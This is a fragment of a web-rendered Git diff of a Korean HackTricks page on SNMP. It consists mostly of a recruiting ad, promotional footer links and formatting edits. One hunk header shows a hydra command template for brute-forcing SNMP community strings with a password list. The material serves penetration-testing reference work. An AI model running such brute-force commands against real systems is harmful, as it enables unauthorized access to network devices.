<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 작문 및 구사 능력 필요_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## HackTricks 자동 명령어
|
||||
|
||||
```
|
||||
Protocol_Name: SNMP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 161 #Comma separated if there is more than one.
|
||||
|
@ -271,6 +291,7 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
|
|||
|
||||
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅까지 AWS 해킹을 배우세요!</summary>
|
||||
|
@ -280,7 +301,7 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
|
|||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 팔로우하세요.
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) **또는** [**텔레그램 그룹**](https://t.me/peass)**에 가입하거나**Twitter\*\* 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 팔로우하세요.
|
||||
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue